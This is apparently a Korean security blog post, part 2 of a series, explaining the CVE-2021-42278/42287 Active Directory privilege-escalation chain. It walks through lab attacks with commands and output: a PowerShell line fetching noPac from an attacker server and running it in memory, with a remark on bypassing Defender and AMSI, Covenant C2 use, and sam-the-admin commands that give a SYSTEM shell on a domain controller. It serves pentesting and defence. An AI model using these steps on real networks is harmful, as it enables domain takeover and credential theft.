CVE-2021-42278과 42287 - 파트 2

파트 2 - 기술적 분석과 실습

실습 환경

실습 환경은 다음과 같다:

도메인: choi.local
도메인 컨트롤러: dc01.choi.local
도메인 컴퓨터: wkstn01.choi.local
공격자: Kali Linux

CVE-2021-42278

파트 1에서 설명했듯, 42278은 머신 계정을 생성한 뒤 해당 계정의 sAMAccountName을 “$”이 붙지 않는 것으로 수정할 수 있는 취약점이다. sAMAccountName이 뭔지, 어떻게 일반적인 도메인 유저가 머신 계정을 만들어낼 수 있는지에 대해 더 알아보자.

sAMAccountName - 액티브 디렉토리 내 오브젝트들은 sAMAccountName 이라는 이름을 갖고 있다. 이는 Windows NT 4.0, Windows 95/98 등 아주 오래된 버전의 윈도우에서 로그온 이름으로 쓰이던 건데, 하위호환성 때문에 아직도 액티브 디렉토리에서 사용되고 있다. 머신 계정들의 sAMAccountName은 일반적으로 “$”으로 끝난다. 예를 들어 DC01$, IISServ05$, Seoul-PCIWeb$ 처럼 말이다.

PowerView를 통해 도메인 컨트롤러의 sAMAccountName을 알아본다.

PS C:\Users\low> Get-NetComputer -Identity dc01.choi.local | Select-Object samaccountname

samaccountname
--------------
DC01$

MachineAccountQuota (MAQ) - 일반 도메인 유저는 별 권한이 없을텐데, 어떻게 도메인에서 머신 계정을 생성할 수 있을까? 답은 MAQ에 있다. MAQ은 액티브 디렉토리에 도메인 유저가 컴퓨터를 추가할 수 있게끔 해주는 도메인 설정이다. 기본적으로 10으로 설정되어 있기 때문에 도메인 유저는 총 10대의 컴퓨터를 액티브 디렉토리에 추가할 수 있다. 이 “컴퓨터를 도메인에 추가” 하는 행위는 결국 “머신 계정을 생성하는 행위” 와도 같고, 이를 이용해 도메인 유저인데도 불구하고 머신 계정을 생성할 수 있게 된다.

MAQ을 0으로 설정한 도메인은 42278 공격을 방어할 수 있다. 애당초 도메인 유저로서 머신 계정을 생성할 수 없기 때문이다. 하지만 얼마나 많은 AD 관리자들이 MAQ에 대해서 알고 있고, 이를 0으로 설정했을지는 모르겠다.

PowerView를 통해 도메인의 기본 ms-ds-MachineAccountQuota 값을 알아본다.

PS C:\Users\low> Get-DomainObject -identity "dc=choi,dc=local" -domain choi.local | select-object ms-ds-MachineAccountQuota

ms-ds-machineaccountquota
-------------------------
10

42278, sAMAccountName, MAQ을 모두 합해 악용하면 다음과 같은 공격을 할 수 있다.

도메인 유저 권한의 공격자는 도메인의 MAQ이 0 이상일 때, 도메인 내 머신 계정을 추가할 수 있다. 이를 추가한 뒤 해당 머신 계정의 sAMAccountName 을 도메인 컨트롤러와 같은 - 그러나 “$” 은 없는 -  이름으로 설정할 수 있다.

42278만 놓고보면 별로 심각한 취약점이 아닌 것 같지만, 이는 42287을 악용하는데 있어서 필수적인 요소로 사용된다.

CVE-2021-42287

파트 1에서 설명했듯, 42287은 머신 계정이 S4U2self를 KDC에게 요청할 때 해당 머신 계정의 sAMAccountName이 액티브 디렉토리내에 존재하지 않을 시, KDC가 알아서 sAMAccountName에 “$”를 붙인 뒤 TGS를 발급해주는 취약점이다.

S4U2self는 뭔지, 왜 필요한 것인지, 어떻게 도메인 관리자를 대신하여 (on behalf) TGS를 발급받을 수 있는 것인지에 대해서 알아보자. 필요한 사전지식이 너무 많이 때문에 최대한 간단하게 알아본다.

Constrained Delegation

S4U2self는 Constrained Delegation 과정에 필요한 요청 중 하나다. Constrained Delegation은 서비스A가 특정 유저를 대신해 다른 서비스B에 접근하도록 “위임(Delegate)” 해주는 커버로스의 기능이다. 예를 들자면,

액티브 디렉토리 내 유저1, 웹서버1, 디비서버2가 있다. 웹서버1은 웹 이메일 서버로, 디비서버2에 연락을 해 유저1의 이메일을 유저에게 보여준다. 이때 웹서버1이 “일반 유저를 대신하여” 디비서버2에 가서, “내가 웹서버1인데 유저1의 이메일 좀 주세요”라고 요청해야하는 경우가 생긴다. 이때 필요한 기능이 Constrained Delegation이다.

S4U2self, S4U2Proxy

Constrained Delegation 과정을 거치려면 도메인 컨트롤러에게 S4U2self (Service for User to self)와 S4U2Proxy (Service for User to Proxy) 요청을 보내야한다. 아래 다이어그램은 S4U2self 와 S4U2Proxy 요청/응답 과정을 보여준다.

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a?redirectedfrom=MSDN 를 좀 수정한 다이어그램

S4U2self

S4U2Proxy

42287 취약점

S4U2self에 대한 개념을 알아봤으니, 이제 42287이 이를 어떻게 악용하는지에 대해 알아본다.

1. 공격자는 MachineAccountQuota가 0 이상인 도메인에서 일반 도메인 유저의 권한으로 머신 계정을 생성한다.

2. 공격자는 CVE-2021-42278을 이용해 머신 계정의 sAMAccountName을 도메인 컨트롤러의 이름과 똑같지만, “$”은 없는 DC01로 수정한다.

3. 공격자는 DC01 머신 계정의 이름으로 TGT를 발급 받는다.

4. 도메인 컨트롤러는 DC01 머신 계정의 TGT를 반환한다.

5. 공격자는 머신 계정의 sAMAccountName을 다시 아무 이름으로 (whatever) 수정한다. DC01의 TGT는 공격자가 파일 형태로 가지고 있지만, 실제로 도메인 내 sAMAccountName이 DC01인 계정은 이제 존재하지 않는다.

6. 공격자는 DC01의 TGT를 이용해 S4U2self 요청을 도메인 컨트롤러에게 보낸다. TGT를 보여주며 - “나 DC01인데, 도메인 관리자의 권한으로 내 LDAP 서비스에 접근 가능한 TGS를 발급해주세요” 라고 요청한다.

7. 도메인 컨트롤러는 혼란에 빠진다. DC01이라는 sAMAccountName을 가진 머신 계정은 공격자가 #5에서 수정했기 때문에 존재하지 않는다. CVE-2021-42287 취약점이 여기서 발생한다. 도메인 컨트롤러는 스스로 “$”를 붙여 혹시 DC01$ 이라는 머신 계정이 액티브 디렉토리내에 존재하는지 찾아본다. DC01$은 존재한다(바로 자신이다)! 액티브 디렉토리는 만족하며 공격자에게 DC01$ 계정의 LDAP 서비스에 도메인 관리자로 접근 가능한 TGS를 반환한다.

8. 공격자는 DC01$ - 도메인 컨트롤러 - 의 LDAP 서비스에 관리자 권한으로 접근해 DCSync 공격을 감행, 도메인 내의 모든 계정 정보를 얻는다. 공격자는 이제 도메인 관리자 권한을 얻어 도메인을 장악한다.

물론 LDAP뿐만 아니라 CIFS에 접근 가능한 TGS를 얻어 쉘을 얻는 방법도 있다.

실습 - 윈도우 파워쉘 세션

공격자가 파워쉘 세션밖에 구축하지 못했을 때의 시나리오다. noPac은 .NET 기반으로 만들어졌기 때문에 메모리상에서 사용하는 것이 가능하다. .NET4.8 이상이 아니라면 간단한 난독화를 통해 윈도우 디펜더와 AMSI를 모두 우회하는 것이 가능하다.

공격자는 일반 도메인 유저기 때문에 도메인 컨트롤러의 파일 시스템에 접근할 수 없다.

PS C:\Users\low> ls \\dc01.choi.local\c$

ls : Access is denied
At line:1 char:1
+ ls \\dc01.choi.local\c$

공격자의 서버에서 noPac을 메모리상에 불러온다. 이후, EntryPoint Invoke를 이용해 메모리상에서 noPac을 실행시킨다. 아래의 명령어는 dc01.choi.local을 대상으로, demochoitwo 라는 머신 계정을 만든 뒤, 42278과 42287를 이용해 최종적으로 dc01.choi.local 머신에 도메인 관리자 권한으로 CIFS (파일 시스템) 서비스 접근 권한을 얻어낸다.

# noPac을 메모리상에 로드 
PS C:\Users\low> $a = (New-Object net.webclient).DownloadData('http://192.168.40.144:53/noPac_0uv8kgbc.exe')
PS C:\Users\low> $b = [System.Reflection.Assembly]::Load($a)

# 메모리상에서 noPac 실행
PS C:\Users\low> $b.EntryPoint.Invoke($null, [Object[]]@( ,[String[]]@("-domain choi.local","-user low", "-pass 'Password123!'","/dc", "dc01.choi.local", "/mAccount","demochoitwo", "/mPassword","'Password123!'","/service","cifs","/ptt")))

[+] Distinguished Name = CN=demochoitwo,CN=Computers,DC=choi,DC=local
[+] Machine account demochoitwo added
[+] Machine account demochoitwo attribute serviceprincipalname cleared
[+] Machine account demochoitwo attribute samaccountname updated
[+] Got TGT for dc01.choi.local
[+] Machine account demochoitwo attribute samaccountname updated
[*] Action: S4U

[*] Using domain controller: dc01.choi.local (192.168.40.150)
[*] Building S4U2self request for: 'dc01@CHOI.LOCAL'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Substituting alternative service name 'cifs/dc01.choi.local'
[*] Got a TGS for 'administrator' to 'cifs@CHOI.LOCAL'
[*] base64(ticket.kirbi):

      doIFZjCCBWKgAwIBBaEDAgEWooIEaTCCBGVhggRhMIIEXaADA 
      < … 이하 생략 … >

이후 도메인 컨트롤러의 파일 시스템에 접근할 수 있다.

PS C:\Users\low> ls \\dc01.choi.local\c$


    Directory: \\dc01.choi.local\c$


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        11/10/2021   8:24 PM                inetpub
d-----         9/15/2018   2:19 AM                PerfLogs
< … 이하 생략 … > 

실습 - C2 프레임워크

C2 실습에서는 오픈소스 C2 프레임워크인 Covenant (코버넌트)를 사용한다. 코버넌트는 도커로 간단하게 실행시킬 수 있다. C2 관련된 포스트는 아니기에 코버넌트 설치 및 사용법은 생략한다.

코버넌트 실행 후 리스너를 만들고, 스테이저를 대상 시스템에서 실행시킨 뒤 에이전트를 확인한다. 에이전트에서 도메인 컨트롤러의 파일 시스템을 확인하려고 하면, 권한 부족으로 인해 실패한다.

Grunt에서 도메인 컨트롤러 파일 시스템에 접근을 실패한 모습

이제 코버넌트의 인-메모리 어셈블리를 통해 메모리상에서 noPac을 실행시킨다.

Grunt의 메모리상에서 noPac을 성공적으로 실행시켰다

공격이 성공적으로 이뤄져 도메인 컨트롤러의 CIFS 서비스에 도메인 관리자 권한으로 접근 가능한 TGS가 에이전트의 파워쉘 세션 메모리에 로드되었다. 다시 도메인 컨트롤러의 파일 시스템을 확인해보면 접근이 가능하다.

실습 - 칼리 리눅스

내부망 모의침투테스터들의 경우 VPN을 통해 칼리 리눅스로 고객사의 내부망을 점검한다. 이때 sam-the-admin 스크립트를 이용하면 편하게 42278과 42287을 점검할 수 있다.

cd /opt 
git clone https://github.com/WazeHell/sam-the-admin.git
cd ./sam-the-admin
pip3 install -r requirements.txt

설치가 끝났으면 sam-the-admin을 사용해 도메인 컨트롤러에 SYSTEM 권한의 쉘을 얻어보자.

┌──(root💀kali)-[/opt/sam-the-admin]
└─# python3 sam_the_admin.py 'choi.local/low:Password123!' -dc-host dc01.choi.local -dc-ip 192.168.40.150 -shell
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Selected Target dc01.choi.local
[*] Total Domain Admins 2
[*] will try to impersonat Administrator
[*] Current ms-DS-MachineAccountQuota = 10
[*] Adding Computer Account "SAMTHEADMIN-56$"
[*] MachineAccount "SAMTHEADMIN-56$" password = 7q0dvVN8kBxr
[*] Successfully added machine account SAMTHEADMIN-56$ with password 7q0dvVN8kBxr.
[*] SAMTHEADMIN-56$ object = CN=SAMTHEADMIN-56,CN=Computers,DC=choi,DC=local
[*] SAMTHEADMIN-56$ sAMAccountName == dc01
[*] Saving ticket in dc01.ccache
[*] Resting the machine account to SAMTHEADMIN-56$
[*] Restored SAMTHEADMIN-56$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*] Saving ticket in Administrator.ccache
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>hostname
dc01

C:\Windows\system32>whoami
nt authority\system

물론 이외에도 “-dump” 플래그를 사용해 DCSync를 통해 NTDS.dit 파일을 덤프한 뒤 모든 도메인 유저들의 계정 정보를 얻는 것도 가능하다.

현재까지 나와있는 모든 개념 증명용 툴들은 머신 계정을 생성한 뒤, 이를 지우지 않는다. 따라서 취약점 공격을 한 뒤, 머신 계정을 지워 고객사의 내부망에 아무런 아티팩트를 남기지 않도록 한다.

아티팩트

현재까지 나와있는 개념 증명용 툴들 (noPac, sam-the-admin, powermad+Rubeus+PowerView)을 사용해서 공격할 시 머신 계정 아티팩트가 도메인에 남게 된다.

도메인 컨트롤러에 남아있는 많은 머신 계정들

공격에 사용된 머신 계정들은 sAMAccountName에 "$"이 없다. 그러나 일반적인 머신 계정은 항상 뒤에 "$"이 붙어있다.

# 공격에 사용된 머신 계정. "$"이 뒤에 없다. 
PS C:\Users\Administrator> Get-ADComputer -Identity covenantchoi2 | Select-Object sAMAccountName

sAMAccountName
--------------
covenantchoi2

# 일반적인 머신계정. "$"이 뒤에 있다. 
PS C:\Users\Administrator> Get-ADComputer -Identity wkstn01 | select-object sAMAccountName

sAMAccountName
--------------
WKSTN01$

내부망 모의침투테스트 시 꼭 생성했던 머신 계정을 고객사의 내부망에서 지워 아티팩트를 삭제해야한다.

마치며

이렇게 액티브 디렉토리의 sAMAccount과 이를 악용하는 42278, 그리고 Constrained Delegation, S4U2self, S4U2Proxy, 그리고 이를 악용하는 42287에 대해서 알아봤다. 또한 파워쉘 세션의 공격자, C2 소통을 구축한 공격자, 그리고 외부 칼리 리눅스를 사용하는 공격자 등, 3가지 시나리오에서 어떻게 42278과 42287을 이용해 도메인 관리자 권한을 얻어내는 실습을 진행했다.

많은 단체들이 다계층 보안에 신경을 많이 쓰며 내부망 액티브 디렉토리내의 방어에도 투자를 많이하고 있다. 하지만 이번 42278, 42287 공격 체인의 경우 기존의 흔히 보던 커버로스팅, 패스워드 스프레이, PetitPotam, Coercion Authentication이 아닌, 새로운 형태의 공격이다. 따라서 현재 적용한 방어 솔루션들이나 로그 솔루션들이 이를 못잡아낼 확률이 높다.

파트1을 통해 이 공격을 어떻게 탐지하고 방어해내는지, 그리고 파트2를 통해 이 취약점이 무엇이며 어떻게 공격자들이 이를 악용하는지에 대해 알아봤다. 내부망을 지켜내는 분들에게 이 글이 도움이 되었으면 하는 마음으로 글을 마친다.

Happy Hacking!

래퍼런스

Machine Quota for Pentesters - https://www.netspi.com/blog/technical/network-penetration-testing/machineaccountquota-is-useful-sometimes/

CVE-2021-42278 마이크로소프트 - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42278

CVE-2021-42287 마이크로소프트 - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42287

KB5008102 - CVE-2021-42278 패치 - https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e

KB5008380 - CVE-2021-42287 패치 - https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041

noPac 개념증명 공격 툴 - https://github.com/cube0x0/noPac

noPac 툴 제작자의 블로그 글 -  https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html

CVE-2021-42278, CVE-2021-42287, noPac 에 관련된 추가 자료 - https://cloudbrothers.info/exploit-kerberos-samaccountname-spoofing/

Sam-the-Admin 툴 - https://github.com/WazeHell/sam-the-admin

Show Comments